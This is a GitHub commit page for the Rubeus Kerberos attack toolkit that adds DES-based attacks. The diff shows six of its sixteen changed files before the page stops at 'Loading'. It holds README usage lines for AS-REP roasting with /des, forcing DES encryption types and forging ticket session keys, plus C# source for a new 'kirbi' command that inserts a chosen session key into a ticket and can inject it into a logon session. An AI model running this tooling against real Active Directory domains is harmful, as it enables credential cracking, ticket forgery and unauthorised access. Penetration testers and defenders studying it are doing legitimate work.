Skip to content

Commit

Permalink
adding modifications to support DES attacks
Browse files Browse the repository at this point in the history
  • Loading branch information
0xe7 committed Aug 8, 2023
1 parent 659d98d commit 679e992
Show file tree
Hide file tree
Showing 16 changed files with 310 additions and 54 deletions.
35 changes: 23 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,7 @@ Rubeus is licensed under the BSD 3-Clause license.
- [currentluid](#currentluid)
- [logonsession](#logonsession)
- [asrep2kirbi](#asrep2kirbi)
- [kirbi](#kirbi)
- [Compile Instructions](#compile-instructions)
- [Targeting other .NET versions](#targeting-other-net-versions)
- [Sidenote: Building Rubeus as a Library](#sidenote-building-rubeus-as-a-library)
Expand All @@ -82,34 +83,34 @@ Rubeus is licensed under the BSD 3-Clause license.
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.3
v2.3.0


Ticket requests and renewals:

Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]

Retrieve a TGT suitable for changing an account with an expired password using the changepw command
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]

Request a TGT without sending pre-auth data:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

Request a service ticket using an AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Expand Down Expand Up @@ -182,7 +183,7 @@ Rubeus is licensed under the BSD 3-Clause license.
Rubeus.exe purge [/luid:LOGINID]

Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN]
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]


Ticket extraction and harvesting:
Expand Down Expand Up @@ -254,13 +255,13 @@ Rubeus is licensed under the BSD 3-Clause license.
Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]

Perform AS-REP "roasting" for any users without preauth:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]

Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]

Perform AS-REP "roasting" for any users without preauth using alternate credentials:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/nowrap]
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]


Miscellaneous:
Expand Down Expand Up @@ -293,6 +294,9 @@ Rubeus is licensed under the BSD 3-Clause license.
Convert an AS-REP and a key to a Kirbi:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]

Insert new DES session key into a Kirbi:
Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap]


NOTE: Base64 ticket blobs can be decoded with :

Expand Down Expand Up @@ -3523,6 +3527,7 @@ Breakdown of the miscellaneous commands:
| [currentluid](#currentluid) | Display the current user's LUID |
| [logonsession](#logonsession) | Display logon session information |
| [asrep2kirbi](#asrep2kirbi) | Convert an AS-REP and a client key to a Kirbi (KERB_CRED) |
| [kirbi](#kirbi) | Manipulate Kirbi's (KERB_CRED) |


### createnetonly
Expand Down Expand Up @@ -4048,6 +4053,12 @@ The **asrep2kirbi** action will convert an AS-REP and a client key to a Kirbi.

The client key can be supplied as a Base64 encoded blob or as a hex string.

### kirbi

The **kirbi** action is used to manipulate Kirbi's (KERB_CRED's).

Currently it only supports modifying/inserting a session key using the **/sessionkey:SESSIONKEY** and **/sessionetype:DES|RC4|AES128|AES256** arguments, passing the Kirbi in using the **/kirbi:X** argument.

## Compile Instructions

We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)
Expand Down
31 changes: 29 additions & 2 deletions Rubeus/Commands/Asktgt.cs
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ public void Execute(Dictionary<string, string> arguments)
bool pac = true;
LUID luid = new LUID();
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
Interop.KERB_ETYPE suppEncType = Interop.KERB_ETYPE.subkey_keymaterial;

string proxyUrl = null;
string service = null;
Expand Down Expand Up @@ -185,6 +186,32 @@ public void Execute(Dictionary<string, string> arguments)
}
}

if (arguments.ContainsKey("/suppenctype"))
{
string encTypeString = arguments["/suppenctype"].ToUpper();

if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
{
suppEncType = Interop.KERB_ETYPE.rc4_hmac;
}
else if (encTypeString.Equals("AES128"))
{
suppEncType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
}
else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
{
suppEncType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
else if (encTypeString.Equals("DES"))
{
suppEncType = Interop.KERB_ETYPE.des_cbc_md5;
}
}
else
{
suppEncType = encType;
}

if (arguments.ContainsKey("/createnetonly"))
{
// if we're starting a hidden process to apply the ticket to
Expand Down Expand Up @@ -237,7 +264,7 @@ public void Execute(Dictionary<string, string> arguments)
{
try
{
Ask.NoPreAuthTGT(user, domain, hash, encType, dc, outfile, ptt, luid, true, true, proxyUrl, service);
Ask.NoPreAuthTGT(user, domain, hash, encType, dc, outfile, ptt, luid, true, true, proxyUrl, service, suppEncType, opsec);
}
catch (KerberosErrorException ex)
{
Expand All @@ -253,7 +280,7 @@ public void Execute(Dictionary<string, string> arguments)
}
}
else if (String.IsNullOrEmpty(certificate))
Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl, service);
Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl, service, suppEncType);
else
Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials, proxyUrl, service, changepw);

Expand Down
4 changes: 4 additions & 0 deletions Rubeus/Commands/Asreproast.cs
Original file line number Diff line number Diff line change
Expand Up @@ -70,6 +70,10 @@ public void Execute(Dictionary<string, string> arguments)
{
supportedEType = "aes";
}
if (arguments.ContainsKey("/des"))
{
supportedEType = "des";
}

if (String.IsNullOrEmpty(domain))
{
Expand Down
10 changes: 7 additions & 3 deletions Rubeus/Commands/Describe.cs
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ public void Execute(Dictionary<string, string> arguments)
byte[] krbKey = null;
string serviceUser = "";
string serviceDomain = "";
string desPlainText = "";



Expand All @@ -32,6 +33,10 @@ public void Execute(Dictionary<string, string> arguments)
{
krbKey = Helpers.StringToByteArray(arguments["/krbkey"]);
}
if (arguments.ContainsKey("/desplaintext"))
{
desPlainText = arguments["/desplaintext"];
}

// for generating service ticket hash when using AES256
if (arguments.ContainsKey("/serviceuser"))
Expand All @@ -43,7 +48,6 @@ public void Execute(Dictionary<string, string> arguments)
serviceDomain = arguments["/servicedomain"];
}


if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
Expand All @@ -52,13 +56,13 @@ public void Execute(Dictionary<string, string> arguments)
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey);
LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey, null, desPlainText);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey);
LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey, null, desPlainText);
}
else
{
Expand Down
102 changes: 102 additions & 0 deletions Rubeus/Commands/Kirbi.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.IO;
using Rubeus.lib.Interop;

namespace Rubeus.Commands
{
public class Kirbi : ICommand
{
public static string CommandName => "kirbi";

public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("[*] Action: Modify Kirbi\r\n");

KRB_CRED kirbi = null;
byte[] sessionKey = null;
Interop.KERB_ETYPE sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
bool ptt = false;
string outfile = "";
LUID luid = new LUID();

if (arguments.ContainsKey("/outfile"))
{
outfile = arguments["/outfile"];
}

if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}

if (arguments.ContainsKey("/luid"))
{
try
{
luid = new LUID(arguments["/luid"]);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]);
return;
}
}

if (arguments.ContainsKey("/kirbi"))
{
string kirbi64 = arguments["/kirbi"];

if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
kirbi = new KRB_CRED(kirbiBytes);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
kirbi = new KRB_CRED(kirbiBytes);
}
else
{
Console.WriteLine("\r\n[X] /kirbi:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
return;
}
}

if (arguments.ContainsKey("/sessionkey"))
{
sessionKey = Helpers.StringToByteArray(arguments["/sessionkey"]);
}

if (arguments.ContainsKey("/sessionetype"))
{
string encTypeString = arguments["/sessionetype"].ToUpper();

if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
{
sessionKeyEtype = Interop.KERB_ETYPE.rc4_hmac;
}
else if (encTypeString.Equals("AES128"))
{
sessionKeyEtype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
}
else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
{
sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
else if (encTypeString.Equals("DES"))
{
sessionKeyEtype = Interop.KERB_ETYPE.des_cbc_md5;
}
else
{
Console.WriteLine("Unsupported etype : {0}", encTypeString);
return;
}
}

ForgeTickets.ModifyKirbi(kirbi, sessionKey, sessionKeyEtype, ptt, luid, outfile);
}
}
}
1 change: 1 addition & 0 deletions Rubeus/Domain/CommandCollection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -46,6 +46,7 @@ public CommandCollection()
_availableCommands.Add(Diamond.CommandName, () => new Diamond());
_availableCommands.Add(Preauthscan.CommandName, () => new Preauthscan());
_availableCommands.Add(ASREP2Kirbi.CommandName, () => new ASREP2Kirbi());
_availableCommands.Add(Kirbi.CommandName, () => new Kirbi());
}

public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments)
Expand Down
Loading

0 comments on commit 679e992

Please sign in to comment.